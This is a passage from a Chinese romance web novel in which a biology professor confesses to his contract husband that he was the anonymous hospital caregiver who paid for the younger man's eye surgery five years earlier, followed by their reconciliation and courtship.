“笃笃——” 门被象征性地敲响两下。 紧随其后立刻被推开。 半躺在病床上正看手机的祁钊正欲抬眼,却在看到来人的衣角后迅速放下眼皮。 来人自然不爽:“不是吧师兄,我专门来看你,结果你就这个态度?” “什么事?” 祁钊不咸不淡地开口。 “当然是有一大堆很要紧的事情了,你不会不知道你整整离开了一个月吧?” 孔宇真语气夸张地说。 这时祁钊才轻轻叹了口气,放下手中的手机,抬眼看向他:“谢谢。” “哎呦,听您说一句谢谢可真不容易!我感动的都快掉眼泪了!当然,要是您能够立刻回来工作,我会更感动的——” 孔宇用真半真半假的语气说。 而祁钊轻抬眼镜,不紧不慢:“我需要三天时间。” “三天时间解决完一个月的工作?” “不,三天身体痊愈。” “……好吧。”最终在看了眼祁钊明显瘦削了许多的下颌线后,孔宇真打消了将眼前人直接拽回办公室的决定。 虽然他还是有些跃跃欲试,可惜地道:“我还以为师兄你真是机器人呢。” “还有别的事?” 祁钊问。 “好了好了,别赶客好吧,我才来了一分钟不到。看在我替你辛辛苦苦带了一个月学生的份上,你就不能多留我聊十分钟的吗?” “三分钟。” “八分钟!” “五分钟不能更多。”祁钊看了眼墙上的挂钟:“现在开始计时,否则我就收回我允诺你的实验数据。” “好好好,五分钟就五分钟,我认输好吧。” 孔宇真做出投降的姿势,随后将随身携带的电脑包打开,将一台银灰色的Mac拿了出来。 “你工作电脑,我帮你从办公室带过来了。不用谢,真要谢的话就快点儿处理数据,我等着拿数据评优青。另外你学生的那些论文进度,我帮你通通汇总了发在你微信里,网盘里也有备份,你直接查看就行。” “谢谢。” 接过电脑,很罕见地,祁钊说了第二次谢谢。 而孔宇真显然对这声谢谢非常受用,仔细品味了许久,方才进入下一个话题: “对了,嫂子呢?” 祁钊还没回答,他又开玩笑的说:“你还不知道吧?你跟嫂子的爱情故事已经传遍整个校园了,说什么的都有,你们俩现在可是p大第一CP。” 祁钊迟疑了番:“他去买饭。” “买饭?” 孔宇真下意识扭头看了眼门口的方向,说:“那我再等会儿他吧,毕竟跟他聊天可比跟你聊天有意思多了。” 祁钊不置可否,唯独只是看向空荡荡的门口,抿唇不语。 十分钟后。 祁钊放下电脑。 “我出去找。” 孔宇真压根儿没来得及拦,眼睁睁地就看着祁钊把手背上的留置针拔走,随后穿着病号服,步伐飞快就出了病房。 等孔宇真追出去的时候,人已经上了电梯不知跑去哪里。 而与此同时。 住院部顶楼天台。 浑然不觉自己的失踪已经被察觉的岑康宁,正拎着一包已经变冷的麦当劳,还有一袋子差点备捏碎的牛奶鸡蛋发呆。 十月下旬冷冽的北风吹在他的脸上。 他也丝毫不惧。 空旷无一人的天台,他看着天台下整个医院附近的高楼大厦,瞳孔逐渐从一开始的震惊,再到难过,最后则演变成愤怒。 是的。 他在愤怒。 浑身上下的每一个细胞都气得发抖。 他有想过他跟Mr.mysterious见面的场景,一直以来,他都觉得那将是非常幸福的一天。 即便他现在不再喜欢他了。 可是对Mr.mysterious的感激这辈子都不会改变。 岑康宁永远忘不了人生最黑暗的那两个星期,是谁陪自己度过的,又是谁,一次又一次地,将他从崩溃的边缘拉扯回现实世界。 但Mr.mysterious竟然是祁钊? 开什么玩笑! 他可以是世界上任何人,但就是不能是祁钊。 可护士长的话历历在目。 “真的很巧,我在住院部名单上看到的,所以你要不要去看看他?” “对了,有件事你还不知道吧?其实你的手术援助不是我申请的,是由祁博士私人赞助的。” “还有最后在你医院账户里充值留下的那两万块也是他留下的。” “他是义工,没有收我们医院一分钱。所以当他离开的时候,我们遵循保密原则,没有将他的真实身份告诉你。” “当时的你也的确没有什么回报的能力,但现在五年过去了,我觉得你或许可以对他当面说一声谢谢?毕竟当年我记得你们俩的关系还不错。” “……是很不错。” 岑康宁苦涩地想。 何止是不错? 他第一次喜欢上的人,差点就表白了的对象。 怎么能用简简单单不错两个字来囊括? 那段时间岑康宁做梦都在梦到他,梦醒了以后摸摸眼角,偶尔还会感到有些咸。 就好像现在的他一样。 多么的……可笑。 “宝宝?” 一声熟悉的呼唤将岑康宁从过去的回忆中猛然唤醒。 “你别过来——” 岑康宁在一个激灵后立刻转过身来,眼神愤怒看向来人。 完全不知道发生了什么事情的祁钊只能困惑无比地看向岑康宁:“发生了什么事?” 短短的半小时。 有什么事竟然能让岑康宁的情绪如此剧烈波动?分明半小时前,岑康宁还躺在他的怀里。 祁钊对此感到异常不解。 而岑康宁面无表情:“当年的护工,是你吧?” 祁钊怔了怔,垂下狭长的眼睫:“……是我。” “……” “果然是你。”足足一分钟后,岑康宁红着眼眶,自嘲地笑了:“我就说,上回签离婚协议的时候怎么有点儿熟悉。” “原来都是同一个人干的啊,怪不得熟悉。” “莫名其妙的出现,莫名其妙的对我好,莫名其妙的留下一堆钱给我,然后不说任何话的离开。” “第一次是五年,第二次是一个月。” “那第三次呢?第三次又是多久?” 岑康宁磨着后槽牙,一字一顿地质问祁钊:“第三次会不会是十年,还是十个月?” 祁钊知道岑康宁一定是误会了什么,试图阻止他:“你冷静下来,听我解释……” “我现在什么都不想听。” 岑康宁愤怒地打断祁钊的话,熊熊怒火在他周身疯狂燃烧。 “我只想知道你这样做到底是为什么?你把我当什么了?随手救下来的可怜虫,救就救了,不需要考虑到可怜虫的任何心情,是吗?” “不是的。” 祁钊说。 “那能是什么?” 岑康宁唇线绷紧,执拗地寻找一个答案的同时,感到自己的视线正在逐渐变得模糊…… 如果不知道Mr.mysterious就是祁钊的话。 他其实可以欺骗自己。 祁钊的确有离开的理由,Mr.mysterious也有。不告诉岑康宁的理由也非常简单,那时候他太小,还有,不想让岑康宁掺和家里的事情。 可是当两个人是同一个人。 他要怎么骗自己呢? 这证明,祁钊一直都是这样,不是有什么不得了的理由,只是因为他想离开。 他想离开就能离开的最重要的原因其实只有一点: 那就是他从来不在乎岑康宁。 不在乎岑康宁会不会因为他离开而感到伤心,不在乎茫茫人海中两人是否可以再度相遇。 而既然连在乎都不在乎了。 又何谈喜欢呢? 一想到这里,岑康宁就觉得很痛。 眼睛痛。 脑袋也痛。 眼泪好像完全关不住的水龙头一样流淌了出来,可是岑康宁这次知道,其实不会有人哄他。 他跟祁钊从一开始就只是协议关系。 他图编制,祁钊图省心。 也许祁钊对他还有一些怜悯吧。 也是,一个没爸没妈没人管的小瞎子,一个大学刚毕业丢了保研还被迫出来相亲的拖油瓶。 谁不觉得可怜呢? 连他自己都觉得自己很可怜了。 难怪祁钊做慈善。 只是祁钊从未告诉过岑康宁,所以岑康宁不知不觉却沦陷了进去,沦陷在祁钊一点一滴的好,一声一声的宝宝里。 甚至就在二十分钟前。 岑康宁还期待着祁钊的吻,还畅想着该如何表白,如何追求祁钊。 他真的太傻,也太…… “不是可怜虫,从见到你的第一眼开始喜欢你,直到现在也喜欢你。我知道这一点对现在的你来说可能有点难以接受,毕竟当时你才17,还未成年。但真相是,我也是过了整整五年零一个月后才意识到这件事。对不起,如果你因此而感到难以接受—— 顿了顿,祁钊冷静中却又透着一丝偏执地看着岑康宁: “惩罚我吧,用任何你想用的方式。但是答应我,冷静一点,先从天台上下来,那里风大,危险,好吗? ” “……” 片刻后。 正哭出一个鼻涕泡的岑康宁尴尬盯着脚上运动鞋的鞋带,听到啪!地一声,鼻涕泡碎掉的同时,自己发出很窝囊的声音: “那个,我没听清,能不能重新说一遍?” 作者有话说: 放心宁宁 下章会说很多遍[菜狗] — 大家三八妇女节快乐,终于表白啦,正好三八节,感谢姐妹们的一路支持,我来发个红包庆祝一下吧[三花猫头][三花猫头] 这章留言即可么么=3= 第80章 “不是可怜虫,从见到你的第一眼开始喜欢你……" 天台凛冽的寒风中。 祁钊的声音坚定有力。 像是一团很柔和的棉花糖一样,温柔却不容抗拒地包裹住了岑康宁体内的怒火。 棉花糖看似柔弱无力。 然而逐渐地,怒火变得很小。 越来越小。 直到最后噗呲一声,火苗彻底消失不见。 此刻的岑康宁完完全全可以冷静下来,重新审视着方才发生在自己身上的事情。 首先,嗯,他被表白了。 其次,他被表白了。 最后,他被表白了。 “……” 岑康宁其实很想让自己稍微变得有出息一点儿,就比如说,至少不要这么快破涕为笑,笑得那么明显。 毕竟虽说祁钊表白了。 但很多事情祁钊还是没有解释清楚,比方说他不告而别两次的事情。 又比方说他隐瞒自己其实是当年护工的事情。 可惜的是,岑康宁好像天生就没多大出息。 哪怕他心里非常清楚自己不该这么快开心,可不受控制地,开心就像是可乐里的气泡,咕噜咕噜,从瓶底冒了出来。 又好像是感冒以后怎么喝药控制都控制不了的咳嗽,咳咳咳—— 在最重要的场合。 一刻也不停歇。 岑康宁只能选择猛掐掌心。 掐一下不够,就掐三下。 掐完三下以后,他终于可以勉强维持住冷淡的表情,轻轻抬起很薄的眼皮: “证据呢?” 没有证据我可不信。 他这样想。 而祁钊则一如既往地情绪稳定,望着他,认真地说:“没有证据,事实上当时的我也并不清楚这件事。” 五年前在医院病房门口第一次见到岑康宁。 看到这小孩儿自己摸索着下床,决定鼓起勇气,一个人同这个黑暗世界做对抗的时候。 祁钊并不觉得自己是喜欢岑康宁。 他更多觉得那是心头泛起的一丝涟漪或许是怜悯,同情。 其实也很合理。 任何人在这种情况下见到岑康宁,或许都会同情他。 护士长就是一个现成的例子。 否则护士长不会在百忙之中,专门抽出空来把祁钊带过来,专门给他介绍岑康宁的情况。 再加上从小到大,祁钊没有喜欢过别人的经历,对于喜欢这种情感实际上非常陌生。 任谁问他喜欢什么人。 他的回答都是“爱因斯坦”“开普勒”这样的答案。 这样的一个人自然没办法非常准确地识别出自己当时的感情。 所以理所当然地。 一开始祁钊与护士长一样,认为那一瞬间的心跳悸动只是同情。 直到后来他从医院飞走。 在过去的五年时间里,他又参加过数次援助活动。 他去了非洲,见到了在非洲饱受疟疾肆虐的小朋友;他去过山区,遇到了从小留守,完全没接受过教育的小朋友。 那些小朋友远比岑康宁的境遇惨得多,也值得同情的多。 可五年前病房门口那一瞬间的心跳加速。 并没有再度发生。 这并不意味着祁钊是一个冷血的人,对这些小孩子没有产生同情。 事实上,祁钊尽可能的帮助了他们。 对于他们的遭遇,祁钊也感到抱歉。 但那是不一样的。 后来,祁钊回忆起那天在病房门口看到岑康宁时的记忆,清晰无比地察觉到。 不过当然,那时的祁钊虽然将那一瞬间的情绪波动与同情怜悯完全分开了,却也并没有将它归结于其他分类。 他仍然对这种情绪感到陌生。 并且对于时不时闯入自己梦境的岑康宁感到困惑费解。 时间一刻也不停地前进。 转瞬已经快要过去五年。 五年后,祁钊没想到终于再度见到岑康宁,是在母亲的手机相册里。 母亲说:“这是你下一个相亲对象,我先去看看,不行就算了。” 行动在反应之前。 祁钊叫住母亲。 “等等。” “怎么?” “一起去。” 那天午后阳光明媚。 岑康宁穿着一件蓝色的格纹衬衫外套,连帽卫衣,还有一件洗得发白的浅蓝色牛仔裤。 他看上去长大地十分顺利。 眉眼里带着笑意,漂亮的瞳孔完全看不出曾经受过严重到有失明风险的伤。 唇角微微上扬着,嘴唇的颜色很鲜艳。 鼻翼上那个小痣仍旧在,让人看他的第一眼就不由自主地被吸引过去。 以及,笑起来的时候,左侧脸颊有一个很浅的梨涡,很甜。 他后来也成功考上大学。 资料显示,他就读于Q大土木工程系。 四年的时间里拥有着漂亮的绩点。 他曾参加过不少校园活动,在学校的相关社交媒体里热度很高,经常有人提及。 ……总之无论如何,五年后再度出现在祁钊眼前的岑康宁,绝非一个需要被同情的形象。 然而当岑康宁出现在视线里的那一瞬间。 熟悉的心悸于祁钊的胸腔蔓延。 后知后觉地,祁钊开始审视五年前那隔着一整个病房的凭空一眼。 也同样审视自己。 那天开始他意识到,原来那一眼从来都不是同情,更不是怜悯。 只是动心。 最单纯不过的,一个人对另一个人的动心。 “……等等。” 岑康宁打断了祁钊的叙述,不解道:“既然你说,那时候你就知道自己喜欢上了我,那为什么后来你要说那样的话呢?” “哪一句?” 祁钊问。 岑康宁不假思索:“请问岑先生对所有第一次见面的人都能叫出老公吗?” 时隔多日。 岑康宁仍然可以完整地复述出这句话,足以见得这句话对他的伤害有多深。 当时,他真的以为自己被讨厌了。 因为那开玩笑的一句“老公。” 后来两人在温泉酒店那次,说起对开玩笑的尺度问题,岑康宁又一次地确认了,祁钊并不喜欢这样。 不是没有后悔过。 岑康宁当然也想在喜欢的人面前留下最好的第一印象。 后来两人因为魏书训的事情闹别扭。 不就是因为第一印象太差吗? 可……祁钊竟然说当时他就喜欢自己了,那被喜欢的人叫老公,难道不该开心吗? 岑康宁对此感到十分费解。 以至于打断祁钊的叙述证据。 然而祁钊抿着唇,凉凉看了岑康宁一眼:“那天是你第一次见到我。” 岑康宁:“?” 不得不说俩人在一起的时间久了以后。 岑康宁还是蛮了解祁钊的脑回路。 就好比现在,祁钊其实并没有解释清楚自己当时的反应,可该死的,岑康宁从他的表情跟微妙的语气中就是感觉到了,原来—— 他在吃醋! 这个人竟然在吃自己的醋。 意识到这一点以后岑康宁忽然就不知道说什么好了,他就是忽然觉得从前因为这句话耿耿于怀的自己简直太傻了。 当初他竟然真的觉得说出这句话的祁钊是对自己很不满意。 但其实也不能怪岑康宁。 毕竟谁又能知道,有人连自己的醋都吃呢? 这事儿真是又好气又好笑的。 不过再联想起后来这人吃醋吃到要写小程序来24小时举报网上那些乱叫老婆的网友们,似乎能做出这种吃自己醋的事情也不意外。 可不意外归不意外。 岑康宁还是觉得有些事情需要纠正一下这位醋精。 “钊哥……” 岑康宁深呼吸了一口气,先让自己冷静下来,随后方不那么委婉地道:“我觉得你以后说话的方式可能要改一改。” “改?” “是的。” 岑康宁笃定道:“你知不知道就因为你说话不清楚,闹了多少误会?” 其实不止误会。 岑康宁还委屈过不少次。 远的不说说近的,十分钟前,他就非常非常非常的委屈。 祁钊却迟疑着看了一眼岑康宁:“什么地方不清楚?” 也许是科研人与生俱来的刨根问底精神。 祁钊非要让岑康宁说出个具体的场景。 没办法,岑康宁只好告诉他:“就比如说,其实你喜欢我这件事,有没有一种可能,你可以早点告诉我呢?” 他知道的实在是太晚了。 岑康宁愤愤不平地想。 原来祁钊从第一次见到他就喜欢他了,原来当年的初恋动心对象也早早对他动心。 原来祁钊一直在吃自己的醋。 原来从来都只是利益交换的关系。 ……一想到这些原来,岑康宁就不由自主地感觉心头酸涩感与甜蜜感共同袭来。 他现在的眼睛还是有点酸。 但是完全感觉不到痛。 而越是这种情况他就越是不由得想要想象,假如祁钊早点说清楚了会怎样? 第一天太早了。 也许过阵子,两人第一次吵架又和好以后就告诉他。 说:“岑康宁,其实我喜欢你。” 如果这个时候还觉得太早。 那后来两人阴差阳错发生了关系,是不是也能说呢? 尽管岑康宁也许不会接受那么早。 但他会很开心。 或许也会觉得很甜蜜。 又假如…… “我说过。” 祁钊打断了岑康宁的想象,语气肯定。 岑康宁原地愣住,逐渐流露出不可思议的表情,他亦是笃定:“不可能?什么时候?!” 他怎么不知道? 祁钊:“你仔细回忆回忆。” 岑康宁:“……” 一开始,岑康宁是绝不承认祁钊曾经说过喜欢这回事的。 因为这样一来,就显得之前生气的岑康宁很呆。 可祁钊一再坚持自己不止一次地说过。 终于,一些仿佛是稀松平常的记忆,慢慢地从过去漫长的回忆中冒了出来。 …… 那是一个周五晚上。 两人签订好协议后第一次发生关系。 岑康宁以为祁钊忘了,但其实祁钊并没有忘,只是回家的稍晚。 关上门的瞬间。 岑康宁就被紧紧抱住。 那会儿岑康宁对于履行合约这件事还略有生涩,不想在玄关,想要回到卧室,关上灯,然后拉上窗帘。 结果祁钊的手就那么伸了过来。 不由分说穿过了他的衣摆。 他羞涩地拒绝:“不要。” 祁钊说:“不是签字了吗?” 岑康宁红着脸,低声说:“在这里太……” “那换个地方。” 祁钊把他抱到沙发上,这么说。 沙发上怎么行。 岑康宁其实还有些紧张,但当时的情况却不容他抗拒。 于是一步步地放纵,一步步地沦陷。 直到临门一脚。 包装被撕开。 “……喜欢你。” 当时,他的耳畔,似乎真的有过这么一句低声的轻吟。 还有某个晚上。 他累坏了。 那天本来就累。 先是陪舍友他们在学校里乱逛,然后是回家跟蛮不讲理,很会定义周五晚上的祁教授乱闹。 再然后是在温泉池里泡了许久,又被迫学了游泳,练习了泳姿,身体酸痛极了,浑身上下没有一点儿力气。 所以刚一回到酒店大床上岑康宁就睡着了。 两三个小时内他睡地昏天黑地。 可又似乎,在睡着以前。 他隐隐约约做了一个梦,梦里有人轻抚着他的脸颊,说: "怎么这么会招人喜欢?" 当然少不了给祁钊过生日的那个晚上。 两人那天都很高兴,第一次接吻,闹的很凶,一直到凌晨三四点还没停。 最后岑康宁实在一点儿都动弹不得。 连洗澡都要被抱进浴室的时候。 某人一直亲他。 一边亲一边说喜欢,又说宝宝好可爱,好乖。 说了好多好多遍。 这些记忆其实都是真实存在的,只要岑康宁稍微一回忆,就立马可以回忆的起来。 但问题的关键是—— 他要怎么才能分辨出来这些喜欢到底是真喜欢还只是色欲熏心下的甜言蜜语? 回忆结束,岑康宁怒瞪某人一眼,仍是气鼓鼓地:“谁告诉你这样叫表白的?” 怎么会有人专门在床上表白? 这可真怪不得岑康宁不知道。 因为这世界上根本没有人会把床上的表白当真,说再多遍也不行。 “祁教授,祁老师,我觉得有必要跟你重新定义一下表白。” 岑康宁严肃脸,说:“首先,任何在床上的场景都不能算。” “明白。” 祁钊道:“可是,也有不是床上的。” 岑康宁:“什么时候?” 这回他是真想不出来了,怎么绞尽脑汁都想不到。没办法,只好让记忆力超群的祁教授来一一做出解答。 “还记得你送我的生日礼物吗?” “记得。” 那颗小行星。 那个宇航员。 岑康宁买来以后一点一点偷偷摸摸拼好的三十岁生日礼物,后来被送到祁钊手上以后,被他做出了一点小小的改动。 首先最明显的改动自然是原本只是一个球状的小行星被按上了耳朵与尾巴。 现在的它看上去就像一只很大很圆的小猫咪。 其次是那个代表着祁钊的宇航员,原本是漂浮在小行星的身侧。 但现在它的整个身体却几乎是依偎在小行星上。 与此同时,伸出一只积木构造的手,轻轻放在小行星的猫耳朵上。 “这一幕有什么特别含义吗?” “有的。” 祁钊说:“我给它提供了坐标系。” 岑康宁好奇地掏出手机,将相册中的乐高图片放大,果然,在小行星的背面,他看到了那一排很小的数字。 2003.3.21。 是他的出生年月日期。 “所以……我是这颗长着猫耳朵的小行星?” “是的。” 祁钊唇角微勾,想到自己绝妙的创意,十分得意地说。 岑康宁:“……” 看到祁钊一副很满意这个设定的份上,他是真不想告诉他,其实当初买乐高的时候,岑康宁买了两个宇航员。 马上都走出乐高店了。 却还是转头回去,拿下了那个没办法送出去,只是单个就要价值三百多的宇航员。 后来那个单独的宇航员一直被他塞在抽屉的角落里,始终没拿出来拼。 其实一开始岑康宁并不知道自己为什么要买。 就是鬼使神差下的一个举动。 因为店员小姐姐说:“一个宇航员多孤单啊,帅哥你送男朋友是吗?要不要考虑再买一个?” 忍不住地,岑康宁就买了。 可祁钊又分明不是他的男朋友。 所以买了以后始终没办法送出去。 后来岑康宁明白了自己的心意,本来是想等他追人成功以后再拿出来的。 结果祁钊现在告诉他,他是小行星? 那他买的宇航员怎么办? “所以为什么我是小行星?为什么我还长着猫耳朵猫尾巴?钊哥你这样不公平。” 岑康宁对此提出严正抗议。 而祁钊的解释是:“那篇文章你不是看过了吗?” 说的是那篇详细讲述祁钊喜好的论文。 岑康宁确实出于好奇心拜读过,也因为这篇论文得知了祁钊曾经喜欢天文学,所以才给他送出了宇航员积木礼物。 但这跟他是小行星有什么关系? “第九十七行,我写到,我喜欢小行星。” “……” 沉默半晌,岑康宁木着一张被冷风吹得快僵了的脸,认认真真地对祁钊提出建议: “你有这种表白的本事,为什么不去当间谍?” 作者有话说: 祁教授,你有这样高速运转的表白技巧进入中国……[笑哭][笑哭]魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 “或者去当保密学家。为什么要委屈自己当一个生物学教授?” “简直太屈才了!” 岑康宁几近崩溃地说。 谁又能想过表白的密码藏在一篇堪比学术论文的纯英文期刊里? 而且还要搭配乐高背后的数字共同理解。 岑康宁听得眼前一黑又一黑的同时,不由得想到,要是自己没有质问祁钊,他这辈子有可能都发现不了这些表白。 那些隐晦地,藏在记忆角落里的小秘密。 也许一辈子都将蒙上厚厚的尘埃。 想到这里,岑康宁不由得呼吸一滞,悲愤不已地看向祁钊。 而对此。 显然,某个生物学教授丝毫不能理解。 祁钊的眼神里甚至罕见闪过一丝仓惶,困惑道:“有问题吗?” “问题不是一般地大。” 岑康宁深深吐了口气以后说。 祁钊:“无论如何,我喜欢你,这是非常确定的事实,绝不是出于同情。” “……嗯。” 完全冷静下来以后,岑康宁也确认了这个事实。 在这个事实的基础上。 事实上很多事也能够得到解释。 因为魏书训的出现而产生的争吵,第一次发生关系以后的照顾,对网友们越界的极度讨厌……包括那份慷慨无比的离婚协议。 每一个字每一个标点符号,其实都写着喜欢。 …… “我的答案你满意吗?” 祁钊问。 岑康宁略有迟疑,却仍是轻点了下脑袋。 祁钊于是朝他伸出手:“过来——” 岑康宁看着那只骨节分明,明显比从前瘦了些,却仍然干净漂亮的大手,眨眨还有些酸涩的眼,说:“其实你知道,我不是来这里做傻事,只是想吹吹风冷静冷静,对吧?” 祁钊点头:“知道,毕竟……” 曾经误会过一回。 那是在他一开始成为岑康宁护工的时候。 第二天,岑康宁忽然不见了。 该换药的时间却到处找不到人影,祁钊没有慌乱,冷静判断人应该没走远,毕竟小瞎子的活动范围十分有限。 但最终在住院部楼顶天台发现岑康宁的时候。 祁钊承认,那一瞬间他不是没有后怕。 然而当他把人抱下来,小孩儿却在他的怀里露出惊慌失措的表情: “你是谁,要带我去哪里?” “放开我!” “再不放开,我我……我就报警了!” 忍不住地,祁钊开口:“你没有手机。” 而在认出他声音后的瞬间,小孩儿愣了一下,随后长长松了口气,露出个灿烂的笑脸。 “吓死我了,原来是哥啊。” ——是的,那时候岑康宁叫他哥。 因为祁钊拒绝分享自己的姓名。 祁钊则抱着轻飘飘的小孩儿继续往楼下走,语气冷静地问:“来这里做什么?” 岑康宁表情自然,天真道:“我想透透气啊,医院太闷了,而且到处都是消毒水的味道,哥你不觉得很窒息吗?” “这里是天台。” 祁钊说。 言外之意很危险。 但岑康宁表示:“我知道,但是不危险的。我听护士长说过,从前有患者跟家属在这里跳楼过,所以后来天台加了非常牢固的栏杆。” 岑康宁说的的确是实话。 天台上的确有栏杆。 除此以外,还有金刚纱网。 理论上不会有人从这里掉下去,除非这个人求死心切,能够爬到两米高的栏杆上面。 但这对于一个暂时失去了运动能力的小瞎子来说。 显然是不太可能的事情。 而且,岑康宁笑着,他的笑容那么明媚单纯。 这样的一个人怎么会求死呢? 祁钊便确定这是一桩误会事件。 但他仍是将小孩儿抱回了病房里。 “以后不要乱跑,你的手受伤了。” “哦。” 被放在床上的岑康宁乖乖地应着,露出很听话,很惹人心疼的表情。 但其实。 祁钊不知道的是。 那天在上天台前,岑康宁曾同自己的主治医生发生过一段对话。 “柳医生,做了手术以后,我的眼睛很快就会好,对吗?” 他满怀希望地问自己的主治大夫。 毕竟这里是全国最好的私立医院,院长是大名鼎鼎的祁未言。 祁未言可是祁老的儿子。 怎么可能治不了他这点儿小小的伤? 因此一开始,岑康宁是非常肯定自己能够被治愈的这件事的。 直到柳医生说:“当然可以啊。”的时候,岑康宁仍是这么相信的。 但很快,柳医生话锋一转,说起另一个问题:“不过小宁,你要想做最安全,保证率最高的那台手术的话,需要联系一下你的家人了。” “……为什么?” “因为预付的费用可能,嗯,不太够后续治疗。” 柳医生委婉道。 岑康宁沉默了一会儿,面色苍白试探着问医生:“那个,请问需要多少钱?” 他手上应该还有三千左右的兼职工资。 可以全部都拿出来。 本来是打算留着等高考结束以后去旅游的,现在为了眼睛的话,拿出来岑康宁也不觉得心疼。 但柳医生很残忍地告诉他:“一万两千。” 后面柳医生还说了什么岑康宁已经记不太清了,只记得自己浑浑噩噩地走出病房以后,并没有找熟悉的护士姐姐送自己回病房。 也不知道怎么想的。 他一个人慢吞吞摸索着去了顶楼,去了天台。 那天气温很低,就像今天一样,寒风中只穿了一件病号服的他被吹地瑟瑟发抖。 而在那凛冽的冷风中。 岑康宁承认,自己不是没有想过做傻事的想法。 一万两千块其实不多。 对于任何一个成年人来说都不算多。 用一万两千换来未来余生的光明,是谁都会做的选择题。 可是,对于那时候的岑康宁来说。 哪里去找这笔钱呢? 找那个恶作剧的同学?他们在最初预付过一笔款项后已经消失不见,再怎么拨打电话过去也只是忙线。 找警察。 警察说,对方决定走法律诉讼。 等庭审结果出来以后再进行最终赔偿。 果然还是只能找娟姨跟军叔吧。 一万两千对于他们来说虽然有点勉强,但应该也并不算多。 可从岑康宁住院到现在,除了最早入院的那天,两人一次都没出现。 心渐渐凉了下去。 眼前则是漆黑一片。 岑康宁用力抓紧着栏杆,呼吸开始变得急促不已,有那么一个瞬间,他觉得自己好像真的跳了下去。 就那么一跃而下。 不需要再为九千块而如此忧心。 下辈子也许投个好胎。 这时,却凭空出现一双手臂,不由分说将他拦腰抱了起来。 岑康宁:“……” 后来回想起那天。 岑康宁觉得自己太傻了。 才九千块钱,他就算暂时先欠着也不会怎么样,等他恢复好以后,就可以很快兼职打工还给医院。 他也可以去贷款,去借。 总之,那真的只是九千块。 而不是九千万。 可在当时。 九千块的的确确差点儿压倒了他。 要不是祁钊来的及时…… 后来,钱的问题解决了。 护士长告诉他不用担心,医院对他这样的孤儿有政策减免,正正好可以覆盖这次手术费用。 岑康宁松了口气觉得万幸的同时,觉得Mr.mysterious来得实在太巧。 好像命中注定一样的骑士出现。 将他从死亡的边缘中拽了回来。 当然现在岑康宁得知所谓的孤儿政策减免并不存在,是祁钊本人自掏腰包帮自己做手术后又是另一种心情。 一方面,他觉得果然如此啊。 果然岑康宁这个倒霉小孩儿其实从来没走过什么好运,所有的好运气其实都来自于同一个人。 另一方面,逐渐地,在情绪冷静下来以后,他开始认为: 祁钊就是Mr.mysterious这件事真是太好了。 不是什么陌生的,在他的生命中留下浓墨重彩的一笔随后消失不见的神秘先生。 是祁钊。 只是祁钊而已。 而在意识到这个事实以后。 慢慢地,身体的温度开始上升,风似乎也停了。 空气中开始弥漫着熟悉的柠檬海盐气息,夹杂着一些些微的糖果的甜。 岑康宁于这糖果味的气息中朝着祁钊的方向靠近。 一步一步的,越来越近。 可眼看着,祁钊的手即将下一秒就要碰触到岑康宁,将他再一次的打横抱起的时候,忽然,岑康宁看着祁钊瘦削的指骨,顿住脚步,脸色一变: “不对——” “什么不对?” “我还没有完全原谅你。” 岑康宁咬唇,想起这一整个月的胆战心惊与足足五年的浑然不觉,觉得祁钊想用“喜欢你”这三个字就全部抹掉,实在是有些轻易。 “你只是说了喜欢我,还没追我,我也没有答应你。” 岑康宁如是道。 而祁钊亦是原地动作一顿,看着岑康宁傲娇又生动的表情心想: 该来的总还是来了。 事实证明。 小猫生气以后真的不太好哄。 哪怕是跪榴莲也不行。 — 一星期后。 风和日丽,万里无云。 早上七点五十准时,吱地一声,一辆纯白色的宝马X5正正好好停在正准备上班的岑康宁面前。 无需他多言。 从驾驶座上款款走下一个穿着阿玛尼高级定制风衣外套的男人,很自觉地帮岑康宁拉开副驾驶车门。 而与此同时。 岑康宁满意看到,在副驾驶面前的小挡板上。 他要的梅干菜包子,红豆豆浆,以及一颗混圆的茶叶蛋已经就位完毕。 他上了车,随后系上安全带。 终于也是享受到了十分钟内能从家直接到单位楼下的待遇。 而对此,司机的态度是:“慢点吃,不用着急,下午下班等我来接。” 岑康宁拿起豆浆,没有任何防备喝了一口,果然温度刚刚好,一点都不烫。于是瞬间桃花眼满意地眯成一道缝隙:“好喝!就是我想要的那个味道。” 祁钊便问:“晚上还要吗?” “晚上当然不要了。” 岑康宁说:“谁晚上喝豆浆啊。” 祁钊:“好的。” 说罢岑康宁用眼角余光看见,祁钊在自己密密麻麻的备忘录里做了个小小的标记。 这时岑康宁想起什么,问:“今天体重怎么样了?” “重了0.73斤。” 祁钊道。 “怎么才0.7,好慢。” 岑康宁喝着豆浆,声音里不无抱怨:“前几天不是还能一天三斤吗?” 他看起来像是想要祁钊每天都能重三斤,最好五六天就能把掉的那十七斤肉全部涨回来。 然而这注定成为妄想。 “0.73,不可以抹掉小数点。此外,那天是出院以后第一次上称。” 祁钊解释道。 在医院里他打了许多营养针,又补充了不少失去的睡眠,所以出院时上称,立刻就比刚入院时重了三斤。 后来回到家中恢复正常饮食。 也有两天增加的较为迅速。 但增加体重这回事跟减重其实差不多,肌肉与脂肪不是一天就掉下去的,自然也不可能一天就迅速地涨回来。 饶是祁钊已经尽可能的多摄入热量。 但人体能吸收转化的热量终究是有限。 事实上,每一公斤的脂肪至少需要7700千卡左右的热量盈余。 且对于祁钊来说。 他当然不会允许自己增长的体重只有脂肪。 只能徐徐图之,这是祁钊给自己制定好的计划。 不过话又说回来。 副驾驶座上的岑康宁最近体重恢复的速度祁钊倒是比较满意。 脸颊上消失的肉一点一点儿的被补了回来,皮肤也再度变得光滑白皙细腻。 那段时间岑康宁其实也瘦了不少。 本来就细的腰几乎变得薄薄一片。 想到这里,不由得,祁钊就又忍不住给他拿出一瓶牛奶。 “宝……” “嗯?” “岑先生。” 祁钊快速更改了称谓,在下车前将温热的纯牛奶递给岑康宁:“再喝一瓶这个吧。” 而那位岑先生一边说着不喝不喝,你追人还是喂小猪啊?另一边却不自觉地,红着脸将牛奶瓶揣进自己的大衣口袋里。 步入十一月。 天气仿佛一下子就变冷了。 从车里下来走到图书馆楼上的这条路尤其冻人。但因为那瓶牛奶的缘故,这条路岑康宁走的还算暖和。 一直到三楼文艺馆门前。 身上都还冒着热乎气儿。 而显然,这一幕在过去的几天里每日上演,大多数的时候是一瓶热牛奶,偶尔会是一杯热豆浆。 他的追求者每天早上都给他准备好丰盛的早餐。 接送他,让他能够避免早高峰挤地铁的同时,能在暖和的被窝里多睡一会儿。 到了下午五点下班的时候追求者也会准时出现。 将他安安全全地送回公寓。 